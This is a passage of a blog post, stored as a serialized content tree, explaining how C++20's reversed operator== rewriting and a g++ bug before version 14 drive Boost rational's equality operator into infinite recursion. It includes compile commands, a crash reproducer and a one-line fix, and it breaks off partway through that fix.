b",{"type":23,"tag":139,"props":88616,"children":88617},{"style":259},[88618],{"type":28,"value":12815},{"type":23,"tag":139,"props":88620,"children":88621},{"class":141,"line":1627},[88622,88627,88631,88636,88640],{"type":23,"tag":139,"props":88623,"children":88624},{"style":259},[88625],{"type":28,"value":88626},"    std::cout ",{"type":23,"tag":139,"props":88628,"children":88629},{"style":982},[88630],{"type":28,"value":88462},{"type":23,"tag":139,"props":88632,"children":88633},{"style":265},[88634],{"type":28,"value":88635}," \"g++ \u003C14 resolved non-member\"",{"type":23,"tag":139,"props":88637,"children":88638},{"style":982},[88639],{"type":28,"value":88472},{"type":23,"tag":139,"props":88641,"children":88642},{"style":259},[88643],{"type":28,"value":88477},{"type":23,"tag":139,"props":88645,"children":88646},{"class":141,"line":1636},[88647,88651,88655],{"type":23,"tag":139,"props":88648,"children":88649},{"style":319},[88650],{"type":28,"value":322},{"type":23,"tag":139,"props":88652,"children":88653},{"style":279},[88654],{"type":28,"value":7064},{"type":23,"tag":139,"props":88656,"children":88657},{"style":259},[88658],{"type":28,"value":995},{"type":23,"tag":139,"props":88660,"children":88661},{"class":141,"line":1659},[88662],{"type":23,"tag":139,"props":88663,"children":88664},{"style":259},[88665],{"type":28,"value":1897},{"type":23,"tag":139,"props":88667,"children":88668},{"class":141,"line":1667},[88669],{"type":23,"tag":139,"props":88670,"children":88671},{"emptyLinePlaceholder":15},[88672],{"type":28,"value":184},{"type":23,"tag":139,"props":88674,"children":88675},{"class":141,"line":1676},[88676,88680,88685],{"type":23,"tag":139,"props":88677,"children":88678},{"style":279},[88679],{"type":28,"value":17055},{"type":23,"tag":139,"props":88681,"children":88682},{"style":245},[88683],{"type":28,"value":88684}," main",{"type":23,"tag":139,"props":88686,"children":88687},{"style":259},[88688],{"type":28,"value":13747},{"type":23,"tag":139,"props":88690,"children":88691},{"class":141,"line":1745},[88692,88697,88701,88705,88709],{"type":23,"tag":139,"props":88693,"children":88694},{"style":259},[88695],{"type":28,"value":88696},"    rational",{"type":23,"tag":139,"props":88698,"children":88699},{"style":982},[88700],{"type":28,"value":3808},{"type":23,"tag":139,"props":88702,"children":88703},{"style":279},[88704],{"type":28,"value":17055},{"type":23,"tag":139,"props":88706,"children":88707},{"style":982},[88708],{"type":28,"value":8471},{"type":23,"tag":139,"props":88710,"children":88711},{"style":259},[88712],{"type":28,"value":88713}," r;\n",{"type":23,"tag":139,"props":88715,"children":88716},{"class":141,"line":1753},[88717,88721,88726,88730,88734],{"type":23,"tag":139,"props":88718,"children":88719},{"style":319},[88720],{"type":28,"value":322},{"type":23,"tag":139,"props":88722,"children":88723},{"style":259},[88724],{"type":28,"value":88725}," r ",{"type":23,"tag":139,"props":88727,"children":88728},{"style":982},[88729],{"type":28,"value":6580},{"type":23,"tag":139,"props":88731,"children":88732},{"style":1016},[88733],{"type":28,"value":1019},{"type":23,"tag":139,"props":88735,"children":88736},{"style":259},[88737],{"type":28,"value":995},{"type":23,"tag":139,"props":88739,"children":88740},{"class":141,"line":1783},[88741],{"type":23,"tag":139,"props":88742,"children":88743},{"style":259},[88744],{"type":28,"value":1897},{"type":23,"tag":14699,"props":88746,"children":88747},{},[88748],{"type":23,"tag":801,"props":88749,"children":88750},{},[88751],{"type":28,"value":88752},"Compile with g++\u003C14:",{"type":23,"tag":128,"props":88754,"children":88756},{"code":88755,"language":2243,"meta":7,"className":2244,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[88757],{"type":23,"tag":135,"props":88758,"children":88759},{"__ignoreMap":7},[88760],{"type":23,"tag":139,"props":88761,"children":88762},{"class":141,"line":142},[88763,88768,88773,88778,88783,88787,88792],{"type":23,"tag":139,"props":88764,"children":88765},{"style":245},[88766],{"type":28,"value":88767},"g++",{"type":23,"tag":139,"props":88769,"children":88770},{"style":265},[88771],{"type":28,"value":88772}," -std=c++17",{"type":23,"tag":139,"props":88774,"children":88775},{"style":265},[88776],{"type":28,"value":88777}," main.cpp",{"type":23,"tag":139,"props":88779,"children":88780},{"style":265},[88781],{"type":28,"value":88782}," -o",{"type":23,"tag":139,"props":88784,"children":88785},{"style":265},[88786],{"type":28,"value":287},{"type":23,"tag":139,"props":88788,"children":88789},{"style":259},[88790],{"type":28,"value":88791}," && ",{"type":23,"tag":139,"props":88793,"children":88794},{"style":245},[88795],{"type":28,"value":88796},"./test\n",{"type":23,"tag":24,"props":88798,"children":88799},{},[88800],{"type":28,"value":88801},"Output (on g++ 11.4):",{"type":23,"tag":128,"props":88803,"children":88805},{"code":88804},"g++ \u003C14 resolved non-member\n",[88806],{"type":23,"tag":135,"props":88807,"children":88808},{"__ignoreMap":7},[88809],{"type":28,"value":88804},{"type":23,"tag":14699,"props":88811,"children":88812},{},[88813],{"type":23,"tag":801,"props":88814,"children":88815},{},[88816],{"type":28,"value":88817},"Compile with clang++:",{"type":23,"tag":128,"props":88819,"children":88821},{"code":88820,"language":2243,"meta":7,"className":2244,"style":7},"clang++ -std=c++17 main.cpp -o test && ./test\n",[88822],{"type":23,"tag":135,"props":88823,"children":88824},{"__ignoreMap":7},[88825],{"type":23,"tag":139,"props":88826,"children":88827},{"class":141,"line":142},[88828,88833,88837,88841,88845,88849,88853],{"type":23,"tag":139,"props":88829,"children":88830},{"style":245},[88831],{"type":28,"value":88832},"clang++",{"type":23,"tag":139,"props":88834,"children":88835},{"style":265},[88836],{"type":28,"value":88772},{"type":23,"tag":139,"props":88838,"children":88839},{"style":265},[88840],{"type":28,"value":88777},{"type":23,"tag":139,"props":88842,"children":88843},{"style":265},[88844],{"type":28,"value":88782},{"type":23,"tag":139,"props":88846,"children":88847},{"style":265},[88848],{"type":28,"value":287},{"type":23,"tag":139,"props":88850,"children":88851},{"style":259},[88852],{"type":28,"value":88791},{"type":23,"tag":139,"props":88854,"children":88855},{"style":245},[88856],{"type":28,"value":88796},{"type":23,"tag":24,"props":88858,"children":88859},{},[88860],{"type":28,"value":88861},"Output:",{"type":23,"tag":128,"props":88863,"children":88865},{"code":88864},"clang++ resolved member\n",[88866],{"type":23,"tag":135,"props":88867,"children":88868},{"__ignoreMap":7},[88869],{"type":28,"value":88864},{"type":23,"tag":24,"props":88871,"children":88872},{},[88873],{"type":28,"value":88874},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":23,"tag":16800,"props":88876,"children":88877},{},[],{"type":23,"tag":41,"props":88879,"children":88881},{"id":88880},"part-ii-c20s-symmetric-comparison-feature",[88882],{"type":28,"value":88883},"Part II: C++20’s Symmetric Comparison Feature",{"type":23,"tag":666,"props":88885,"children":88887},{"id":88886},"what-changed-in-c20",[88888],{"type":28,"value":88889},"What Changed in C++20?",{"type":23,"tag":24,"props":88891,"children":88892},{},[88893,88895,88908,88909,88914],{"type":28,"value":88894},"C++20 introduced the ",{"type":23,"tag":64,"props":88896,"children":88899},{"href":88897,"rel":88898},"https://en.cppreference.com/w/cpp/language/operator_comparison",[68],[88900,88902],{"type":28,"value":88901},"spaceship operator ",{"type":23,"tag":135,"props":88903,"children":88905},{"className":88904},[],[88906],{"type":28,"value":88907},"\u003C=>",{"type":28,"value":9002},{"type":23,"tag":56,"props":88910,"children":88911},{},[88912],{"type":28,"value":88913},"defaulted comparison rewrites",{"type":28,"value":73},{"type":23,"tag":24,"props":88916,"children":88917},{},[88918,88920,88925],{"type":28,"value":88919},"When you define a two-argument ",{"type":23,"tag":135,"props":88921,"children":88923},{"className":88922},[],[88924],{"type":28,"value":88159},{"type":28,"value":88926},", C++20 may implicitly define the \"reversed\" version:",{"type":23,"tag":14699,"props":88928,"children":88929},{},[88930,88941],{"type":23,"tag":801,"props":88931,"children":88932},{},[88933,88935],{"type":28,"value":88934},"If you define: ",{"type":23,"tag":135,"props":88936,"children":88938},{"className":88937},[],[88939],{"type":28,"value":88940},"bool operator==(T1, T2);",{"type":23,"tag":801,"props":88942,"children":88943},{},[88944,88946,88952],{"type":28,"value":88945},"Then ",{"type":23,"tag":135,"props":88947,"children":88949},{"className":88948},[],[88950],{"type":28,"value":88951},"T2 == T1",{"type":28,"value":88953}," may call the same function by reversing the arguments.",{"type":23,"tag":24,"props":88955,"children":88956},{},[88957,88959,88964,88965,88970,88972,88978,88980,88985],{"type":28,"value":88958},"This rewrite is ",{"type":23,"tag":56,"props":88960,"children":88961},{},[88962],{"type":28,"value":88963},"recursive",{"type":28,"value":13343},{"type":23,"tag":135,"props":88966,"children":88968},{"className":88967},[],[88969],{"type":28,"value":88151},{"type":28,"value":88971}," becomes ",{"type":23,"tag":135,"props":88973,"children":88975},{"className":88974},[],[88976],{"type":28,"value":88977},"b == a",{"type":28,"value":88979},", which becomes ",{"type":23,"tag":135,"props":88981,"children":88983},{"className":88982},[],[88984],{"type":28,"value":88151},{"type":28,"value":88986}," again, and so on — if not handled carefully.",{"type":23,"tag":24,"props":88988,"children":88989},{},[88990],{"type":28,"value":88991},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":23,"tag":16800,"props":88993,"children":88994},{},[],{"type":23,"tag":41,"props":88996,"children":88998},{"id":88997},"part-iii-the-boost-trapdoor",[88999],{"type":28,"value":89000},"Part III: The Boost Trapdoor",{"type":23,"tag":24,"props":89002,"children":89003},{},[89004,89006,89012,89014,89019],{"type":28,"value":89005},"The old Boost ",{"type":23,"tag":135,"props":89007,"children":89009},{"className":89008},[],[89010],{"type":28,"value":89011},"rational",{"type":28,"value":89013}," class (prior to v1.75) defined both member function and non-member function of ",{"type":23,"tag":135,"props":89015,"children":89017},{"className":89016},[],[89018],{"type":28,"value":88159},{"type":28,"value":2493},{"type":23,"tag":128,"props":89021,"children":89023},{"code":89022,"language":27134,"meta":7,"className":27132,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n    ...\npublic:\n    ...\n    \n    template \u003Cclass T>\n    BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n    {\n       return ((den == IntType(1)) && (num == i));\n    }\n    ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n      return a == b; \n}\n",[89024],{"type":23,"tag":135,"props":89025,"children":89026},{"__ignoreMap":7},[89027,89062,89085,89097,89104,89111,89118,89125,89132,89155,89243,89250,89301,89308,89315,89322,89329,89364,89372,89400,89439,89504,89511,89531],{"type":23,"tag":139,"props":89028,"children":89029},{"class":141,"line":142},[89030,89034,89038,89042,89046,89050,89054,89058],{"type":23,"tag":139,"props":89031,"children":89032},{"style":279},[89033],{"type":28,"value":64117},{"type":23,"tag":139,"props":89035,"children":89036},{"style":259},[89037],{"type":28,"value":6724},{"type":23,"tag":139,"props":89039,"children":89040},{"style":279},[89041],{"type":28,"value":68312},{"type":23,"tag":139,"props":89043,"children":89044},{"style":305},[89045],{"type":28,"value":88533},{"type":23,"tag":139,"props":89047,"children":89048},{"style":259},[89049],{"type":28,"value":1052},{"type":23,"tag":139,"props":89051,"children":89052},{"style":279},[89053],{"type":28,"value":68312},{"type":23,"tag":139,"props":89055,"children":89056},{"style":305},[89057],{"type":28,"value":88352},{"type":23,"tag":139,"props":89059,"children":89060},{"style":259},[89061],{"type":28,"value":3995},{"type":23,"tag":139,"props":89063,"children":89064},{"class":141,"line":151},[89065,89069,89073,89077,89081],{"type":23,"tag":139,"props":89066,"children":89067},{"style":279},[89068],{"type":28,"value":64117},{"type":23,"tag":139,"props":89070,"children":89071},{"style":259},[89072],{"type":28,"value":6724},{"type":23,"tag":139,"props":89074,"children":89075},{"style":279},[89076],{"type":28,"value":88347},{"type":23,"tag":139,"props":89078,"children":89079},{"style":305},[89080],{"type":28,"value":88352},{"type":23,"tag":139,"props":89082,"children":89083},{"style":259},[89084],{"type":28,"value":3995},{"type":23,"tag":139,"props":89086,"children":89087},{"class":141,"line":160},[89088,89092],{"type":23,"tag":139,"props":89089,"children":89090},{"style":279},[89091],{"type":28,"value":68312},{"type":23,"tag":139,"props":89093,"children":89094},{"style":305},[89095],{"type":28,"value":89096}," rational\n",{"type":23,"tag":139,"props":89098,"children":89099},{"class":141,"line":169},[89100],{"type":23,"tag":139,"props":89101,"children":89102},{"style":259},[89103],{"type":28,"value":8890},{"type":23,"tag":139,"props":89105,"children":89106},{"class":141,"line":178},[89107],{"type":23,"tag":139,"props":89108,"children":89109},{"style":259},[89110],{"type":28,"value":18347},{"type":23,"tag":139,"props":89112,"children":89113},{"class":141,"line":187},[89114],{"type":23,"tag":139,"props":89115,"children":89116},{"style":279},[89117],{"type":28,"value":88380},{"type":23,"tag":139,"props":89119,"children":89120},{"class":141,"line":196},[89121],{"type":23,"tag":139,"props":89122,"children":89123},{"style":259},[89124],{"type":28,"value":18347},{"type":23,"tag":139,"props":89126,"children":89127},{"class":141,"line":205},[89128],{"type":23,"tag":139,"props":89129,"children":89130},{"style":259},[89131],{"type":28,"value":59686},{"type":23,"tag":139,"props":89133,"children":89134},{"class":141,"line":214},[89135,89139,89143,89147,89151],{"type":23,"tag":139,"props":89136,"children":89137},{"style":279},[89138],{"type":28,"value":88388},{"type":23,"tag":139,"props":89140,"children":89141},{"style":259},[89142],{"type":28,"value":6724},{"type":23,"tag":139,"props":89144,"children":89145},{"style":279},[89146],{"type":28,"value":68312},{"type":23,"tag":139,"props":89148,"children":89149},{"style":305},[89150],{"type":28,"value":3921},{"type":23,"tag":139,"props":89152,"children":89153},{"style":259},[89154],{"type":28,"value":3995},{"type":23,"tag":139,"props":89156,"children":89157},{"class":141,"line":1320},[89158,89163,89167,89172,89176,89180,89184,89189,89193,89197,89201,89205,89209,89213,89218,89222,89226,89230,89234,89238],{"type":23,"tag":139,"props":89159,"children":89160},{"style":259},[89161],{"type":28,"value":89162},"    BOOST_CONSTEXPR ",{"type":23,"tag":139,"props":89164,"children":89165},{"style":279},[89166],{"type":28,"value":88347},{"type":23,"tag":139,"props":89168,"children":89169},{"style":259},[89170],{"type":28,"value":89171}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":23,"tag":139,"props":89173,"children":89174},{"style":305},[89175],{"type":28,"value":3990},{"type":23,"tag":139,"props":89177,"children":89178},{"style":259},[89179],{"type":28,"value":1052},{"type":23,"tag":139,"props":89181,"children":89182},{"style":305},[89183],{"type":28,"value":88581},{"type":23,"tag":139,"props":89185,"children":89186},{"style":259},[89187],{"type":28,"value":89188},">::",{"type":23,"tag":139,"props":89190,"children":89191},{"style":305},[89192],{"type":28,"value":37042},{"type":23,"tag":139,"props":89194,"children":89195},{"style":259},[89196],{"type":28,"value":1052},{"type":23,"tag":139,"props":89198,"children":89199},{"style":279},[89200],{"type":28,"value":308},{"type":23,"tag":139,"props":89202,"children":89203},{"style":259},[89204],{"type":28,"value":89188},{"type":23,"tag":139,"props":89206,"children":89207},{"style":305},[89208],{"type":28,"value":30644},{"type":23,"tag":139,"props":89210,"children":89211},{"style":279},[89212],{"type":28,"value":88416},{"type":23,"tag":139,"props":89214,"children":89215},{"style":259},[89216],{"type":28,"value":89217},"== (",{"type":23,"tag":139,"props":89219,"children":89220},{"style":279},[89221],{"type":28,"value":7663},{"type":23,"tag":139,"props":89223,"children":89224},{"style":305},[89225],{"type":28,"value":3921},{"type":23,"tag":139,"props":89227,"children":89228},{"style":279},[89229],{"type":28,"value":1085},{"type":23,"tag":139,"props":89231,"children":89232},{"style":294},[89233],{"type":28,"value":1378},{"type":23,"tag":139,"props":89235,"children":89236},{"style":259},[89237],{"type":28,"value":1062},{"type":23,"tag":139,"props":89239,"children":89240},{"style":279},[89241],{"type":28,"value":89242},"const\n",{"type":23,"tag":139,"props":89244,"children":89245},{"class":141,"line":1329},[89246],{"type":23,"tag":139,"props":89247,"children":89248},{"style":259},[89249],{"type":28,"value":27209},{"type":23,"tag":139,"props":89251,"children":89252},{"class":141,"line":1580},[89253,89258,89263,89267,89271,89275,89279,89283,89287,89292,89296],{"type":23,"tag":139,"props":89254,"children":89255},{"style":319},[89256],{"type":28,"value":89257},"       return",{"type":23,"tag":139,"props":89259,"children":89260},{"style":259},[89261],{"type":28,"value":89262}," ((den ",{"type":23,"tag":139,"props":89264,"children":89265},{"style":982},[89266],{"type":28,"value":6580},{"type":23,"tag":139,"props":89268,"children":89269},{"style":245},[89270],{"type":28,"value":88352},{"type":23,"tag":139,"props":89272,"children":89273},{"style":259},[89274],{"type":28,"value":262},{"type":23,"tag":139,"props":89276,"children":89277},{"style":1016},[89278],{"type":28,"value":647},{"type":23,"tag":139,"props":89280,"children":89281},{"style":259},[89282],{"type":28,"value":6842},{"type":23,"tag":139,"props":89284,"children":89285},{"style":982},[89286],{"type":28,"value":71099},{"type":23,"tag":139,"props":89288,"children":89289},{"style":259},[89290],{"type":28,"value":89291}," (num ",{"type":23,"tag":139,"props":89293,"children":89294},{"style":982},[89295],{"type":28,"value":6580},{"type":23,"tag":139,"props":89297,"children":89298},{"style":259},[89299],{"type":28,"value":89300}," i));\n",{"type":23,"tag":139,"props":89302,"children":89303},{"class":141,"line":1597},[89304],{"type":23,"tag":139,"props":89305,"children":89306},{"style":259},[89307],{"type":28,"value":1335},{"type":23,"tag":139,"props":89309,"children":89310},{"class":141,"line":1614},[89311],{"type":23,"tag":139,"props":89312,"children":89313},{"style":259},[89314],{"type":28,"value":18347},{"type":23,"tag":139,"props":89316,"children":89317},{"class":141,"line":1627},[89318],{"type":23,"tag":139,"props":89319,"children":89320},{"style":259},[89321],{"type":28,"value":1897},{"type":23,"tag":139,"props":89323,"children":89324},{"class":141,"line":1636},[89325],{"type":23,"tag":139,"props":89326,"children":89327},{"emptyLinePlaceholder":15},[89328],{"type":28,"value":184},{"type":23,"tag":139,"props":89330,"children":89331},{"class":141,"line":1659},[89332,89336,89340,89344,89348,89352,89356,89360],{"type":23,"tag":139,"props":89333,"children":89334},{"style":279},[89335],{"type":28,"value":64117},{"type":23,"tag":139,"props":89337,"children":89338},{"style":259},[89339],{"type":28,"value":6724},{"type":23,"tag":139,"props":89341,"children":89342},{"style":279},[89343],{"type":28,"value":68312},{"type":23,"tag":139,"props":89345,"children":89346},{"style":305},[89347],{"type":28,"value":88533},{"type":23,"tag":139,"props":89349,"children":89350},{"style":259},[89351],{"type":28,"value":1052},{"type":23,"tag":139,"props":89353,"children":89354},{"style":279},[89355],{"type":28,"value":68312},{"type":23,"tag":139,"props":89357,"children":89358},{"style":305},[89359],{"type":28,"value":88352},{"type":23,"tag":139,"props":89361,"children":89362},{"style":259},[89363],{"type":28,"value":3995},{"type":23,"tag":139,"props":89365,"children":89366},{"class":141,"line":1667},[89367],{"type":23,"tag":139,"props":89368,"children":89369},{"style":259},[89370],{"type":28,"value":89371},"BOOST_CONSTEXPR\n",{"type":23,"tag":139,"props":89373,"children":89374},{"class":141,"line":1676},[89375,89380,89385,89390,89395],{"type":23,"tag":139,"props":89376,"children":89377},{"style":279},[89378],{"type":28,"value":89379},"inline",{"type":23,"tag":139,"props":89381,"children":89382},{"style":279},[89383],{"type":28,"value":89384}," typename",{"type":23,"tag":139,"props":89386,"children":89387},{"style":259},[89388],{"type":28,"value":89389}," boost::",{"type":23,"tag":139,"props":89391,"children":89392},{"style":305},[89393],{"type":28,"value":89394},"enable_if_c",{"type":23,"tag":139,"props":89396,"children":89397},{"style":982},[89398],{"type":28,"value":89399}," \u003C\n",{"type":23,"tag":139,"props":89401,"children":89402},{"class":141,"line":1745},[89403,89408,89413,89417,89421,89426,89430,89434],{"type":23,"tag":139,"props":89404,"children":89405},{"style":259},[89406],{"type":28,"value":89407},"   rational_detail::is_compatible_integer\u003C",{"type":23,"tag":139,"props":89409,"children":89410},{"style":305},[89411],{"type":28,"value":89412},"Arg",{"type":23,"tag":139,"props":89414,"children":89415},{"style":259},[89416],{"type":28,"value":1052},{"type":23,"tag":139,"props":89418,"children":89419},{"style":305},[89420],{"type":28,"value":88581},{"type":23,"tag":139,"props":89422,"children":89423},{"style":259},[89424],{"type":28,"value":89425},">::value, ",{"type":23,"tag":139,"props":89427,"children":89428},{"style":279},[89429],{"type":28,"value":308},{"type":23,"tag":139,"props":89431,"children":89432},{"style":982},[89433],{"type":28,"value":8471},{"type":23,"tag":139,"props":89435,"children":89436},{"style":259},[89437],{"type":28,"value":89438},"::type\n",{"type":23,"tag":139,"props":89440,"children":89441},{"class":141,"line":1753},[89442,89447,89452,89456,89460,89464,89468,89472,89476,89480,89484,89488,89492,89496,89500],{"type":23,"tag":139,"props":89443,"children":89444},{"style":279},[89445],{"type":28,"value":89446},"   operator",{"type":23,"tag":139,"props":89448,"children":89449},{"style":259},[89450],{"type":28,"value":89451}," == (",{"type":23,"tag":139,"props":89453,"children":89454},{"style":279},[89455],{"type":28,"value":7663},{"type":23,"tag":139,"props":89457,"children":89458},{"style":305},[89459],{"type":28,"value":88533},{"type":23,"tag":139,"props":89461,"children":89462},{"style":279},[89463],{"type":28,"value":1085},{"type":23,"tag":139,"props":89465,"children":89466},{"style":294},[89467],{"type":28,"value":88614},{"type":23,"tag":139,"props":89469,"children":89470},{"style":259},[89471],{"type":28,"value":1052},{"type":23,"tag":139,"props":89473,"children":89474},{"style":279},[89475],{"type":28,"value":7663},{"type":23,"tag":139,"props":89477,"children":89478},{"style":305},[89479],{"type":28,"value":88368},{"type":23,"tag":139,"props":89481,"children":89482},{"style":259},[89483],{"type":28,"value":3808},{"type":23,"tag":139,"props":89485,"children":89486},{"style":305},[89487],{"type":28,"value":88581},{"type":23,"tag":139,"props":89489,"children":89490},{"style":259},[89491],{"type":28,"value":8471},{"type":23,"tag":139,"props":89493,"children":89494},{"style":279},[89495],{"type":28,"value":1085},{"type":23,"tag":139,"props":89497,"children":89498},{"style":294},[89499],{"type":28,"value":87740},{"type":23,"tag":139,"props":89501,"children":89502},{"style":259},[89503],{"type":28,"value":273},{"type":23,"tag":139,"props":89505,"children":89506},{"class":141,"line":1783},[89507],{"type":23,"tag":139,"props":89508,"children":89509},{"style":259},[89510],{"type":28,"value":8890},{"type":23,"tag":139,"props":89512,"children":89513},{"class":141,"line":1791},[89514,89518,89522,89526],{"type":23,"tag":139,"props":89515,"children":89516},{"style":319},[89517],{"type":28,"value":37247},{"type":23,"tag":139,"props":89519,"children":89520},{"style":259},[89521],{"type":28,"value":14777},{"type":23,"tag":139,"props":89523,"children":89524},{"style":982},[89525],{"type":28,"value":6580},{"type":23,"tag":139,"props":89527,"children":89528},{"style":259},[89529],{"type":28,"value":89530}," b; \n",{"type":23,"tag":139,"props":89532,"children":89533},{"class":141,"line":1823},[89534],{"type":23,"tag":139,"props":89535,"children":89536},{"style":259},[89537],{"type":28,"value":1897},{"type":23,"tag":24,"props":89539,"children":89540},{},[89541,89543,89549],{"type":28,"value":89542},"This was designed under C++17 semantics. Back then, ",{"type":23,"tag":135,"props":89544,"children":89546},{"className":89545},[],[89547],{"type":28,"value":89548},"rhs == lhs",{"type":28,"value":89550}," would fall back to member overloads if available. All good.",{"type":23,"tag":24,"props":89552,"children":89553},{},[89554,89556,89561,89562,89568],{"type":28,"value":89555},"But under ",{"type":23,"tag":135,"props":89557,"children":89559},{"className":89558},[],[89560],{"type":28,"value":88105},{"type":28,"value":19512},{"type":23,"tag":135,"props":89563,"children":89565},{"className":89564},[],[89566],{"type":28,"value":89567},"G++ \u003C 14",{"type":28,"value":2493},{"type":23,"tag":14699,"props":89570,"children":89571},{},[89572,89577,89582,89587],{"type":23,"tag":801,"props":89573,"children":89574},{},[89575],{"type":28,"value":89576},"G++ incorrectly chooses this non-member operator first",{"type":23,"tag":801,"props":89578,"children":89579},{},[89580],{"type":28,"value":89581},"C++20 reverses the comparison",{"type":23,"tag":801,"props":89583,"children":89584},{},[89585],{"type":28,"value":89586},"Which calls the same function again with arguments flipped",{"type":23,"tag":801,"props":89588,"children":89589},{},[89590],{"type":28,"value":89591},"And so on...",{"type":23,"tag":24,"props":89593,"children":89594},{},[89595,89597,89602],{"type":28,"value":89596},"This creates ",{"type":23,"tag":56,"props":89598,"children":89599},{},[89600],{"type":28,"value":89601},"infinite recursion",{"type":28,"value":73},{"type":23,"tag":24,"props":89604,"children":89605},{},[89606],{"type":28,"value":89607},"A minimal example:",{"type":23,"tag":128,"props":89609,"children":89611},{"code":89610,"language":27134,"meta":7,"className":27132,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n    boost::rational\u003Cint> r;\n    return r == 0;\n}\n",[89612],{"type":23,"tag":135,"props":89613,"children":89614},{"__ignoreMap":7},[89615,89623,89635,89642,89657,89681,89704],{"type":23,"tag":139,"props":89616,"children":89617},{"class":141,"line":142},[89618],{"type":23,"tag":139,"props":89619,"children":89620},{"style":958},[89621],{"type":28,"value":89622},"// g++ -std=c++20 -o crash main.cpp && ./crash\n",{"type":23,"tag":139,"props":89624,"children":89625},{"class":141,"line":151},[89626,89630],{"type":23,"tag":139,"props":89627,"children":89628},{"style":319},[89629],{"type":28,"value":88319},{"type":23,"tag":139,"props":89631,"children":89632},{"style":265},[89633],{"type":28,"value":89634}," \u003Cboost/rational.hpp>\n",{"type":23,"tag":139,"props":89636,"children":89637},{"class":141,"line":160},[89638],{"type":23,"tag":139,"props":89639,"children":89640},{"emptyLinePlaceholder":15},[89641],{"type":28,"value":184},{"type":23,"tag":139,"props":89643,"children":89644},{"class":141,"line":169},[89645,89649,89653],{"type":23,"tag":139,"props":89646,"children":89647},{"style":279},[89648],{"type":28,"value":17055},{"type":23,"tag":139,"props":89650,"children":89651},{"style":245},[89652],{"type":28,"value":88684},{"type":23,"tag":139,"props":89654,"children":89655},{"style":259},[89656],{"type":28,"value":13747},{"type":23,"tag":139,"props":89658,"children":89659},{"class":141,"line":178},[89660,89665,89669,89673,89677],{"type":23,"tag":139,"props":89661,"children":89662},{"style":259},[89663],{"type":28,"value":89664},"    boost::rational",{"type":23,"tag":139,"props":89666,"children":89667},{"style":982},[89668],{"type":28,"value":3808},{"type":23,"tag":139,"props":89670,"children":89671},{"style":279},[89672],{"type":28,"value":17055},{"type":23,"tag":139,"props":89674,"children":89675},{"style":982},[89676],{"type":28,"value":8471},{"type":23,"tag":139,"props":89678,"children":89679},{"style":259},[89680],{"type":28,"value":88713},{"type":23,"tag":139,"props":89682,"children":89683},{"class":141,"line":187},[89684,89688,89692,89696,89700],{"type":23,"tag":139,"props":89685,"children":89686},{"style":319},[89687],{"type":28,"value":322},{"type":23,"tag":139,"props":89689,"children":89690},{"style":259},[89691],{"type":28,"value":88725},{"type":23,"tag":139,"props":89693,"children":89694},{"style":982},[89695],{"type":28,"value":6580},{"type":23,"tag":139,"props":89697,"children":89698},{"style":1016},[89699],{"type":28,"value":1019},{"type":23,"tag":139,"props":89701,"children":89702},{"style":259},[89703],{"type":28,"value":995},{"type":23,"tag":139,"props":89705,"children":89706},{"class":141,"line":196},[89707],{"type":23,"tag":139,"props":89708,"children":89709},{"style":259},[89710],{"type":28,"value":1897},{"type":23,"tag":24,"props":89712,"children":89713},{},[89714],{"type":28,"value":89715},"Expected output: nothing.",{"type":23,"tag":24,"props":89717,"children":89718},{},[89719],{"type":28,"value":89720},"Actual: segmentation fault (stack overflow).",{"type":23,"tag":24,"props":89722,"children":89723},{},[89724,89726,89733],{"type":28,"value":89725},"This exact pattern was ",{"type":23,"tag":64,"props":89727,"children":89730},{"href":89728,"rel":89729},"https://github.com/boostorg/rational/issues/43",[68],[89731],{"type":28,"value":89732},"reported and fixed in Boost rational",{"type":28,"value":89734},", but only in version 1.75+.",{"type":23,"tag":24,"props":89736,"children":89737},{},[89738],{"type":28,"value":89739},"Here’s the one-line fix:",{"type":23,"tag":128,"props":89741,"children":89743},{"code":89742,"language":38253,"meta":7,"className":38251,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n-     return a == b;\n+     return a.operator==(b);\n}\n",[89744],{"type":23,"tag":135,"props":89745,"children":89746},{"__ignoreMap":7},[89747,89755,89762,89770,89778,89786,89793,89801,89809],{"type":23,"tag":139,"props":89748,"children":89749},{"class":141,"line":142},[89750],{"type":23,"tag":139,"props":89751,"children":89752},{"style":259},[89753],{"type":28,"value":89754},"template \u003Cclass Arg, class IntType>\n",{"type":23,"tag":139,"props":89756,"children":89757},{"class":141,"line":151},[89758],{"type":23,"tag":139,"props":89759,"children":89760},{"style":259},[89761],{"type":28,"value":89371},{"type":23,"tag":139,"props":89763,"children":89764},{"class":141,"line":160},[89765],{"type":23,"tag":139,"props":89766,"children":89767},{"style":259},[89768],{"type":28,"value":89769},"inline typename boost::enable_if_c \u003C\n",{"type":23,"tag":139,"props":89771,"children":89772},{"class":141,"line":169},[89773],{"type":23,"tag":139,"props":89774,"children":89775},{"style":259},[89776],{"type":28,"value":89777},"   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":23,"tag":139,"props":89779,"children":89780},{"class":141,"line":178},[89781],{"type":23,"tag":139,"props":89782,"children":89783},{"style":259},[89784],{"type":28,"value":89785},"   operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":23,"tag":139,"props":89787,"children":89788},{"class":141,"line":187},[89789],{"type":23,"tag":139,"props":89790,"children":89791},{"style":259},[89792],{"type":28,"value":8890},{"type":23,"tag":139,"props":89794,"children":89795},{"class":141,"line":196},[89796],{"type":23,"tag":139,"props":89797,"children":89798},{"style":265},[89799],{"type":28,"value":89800},"-     return a == 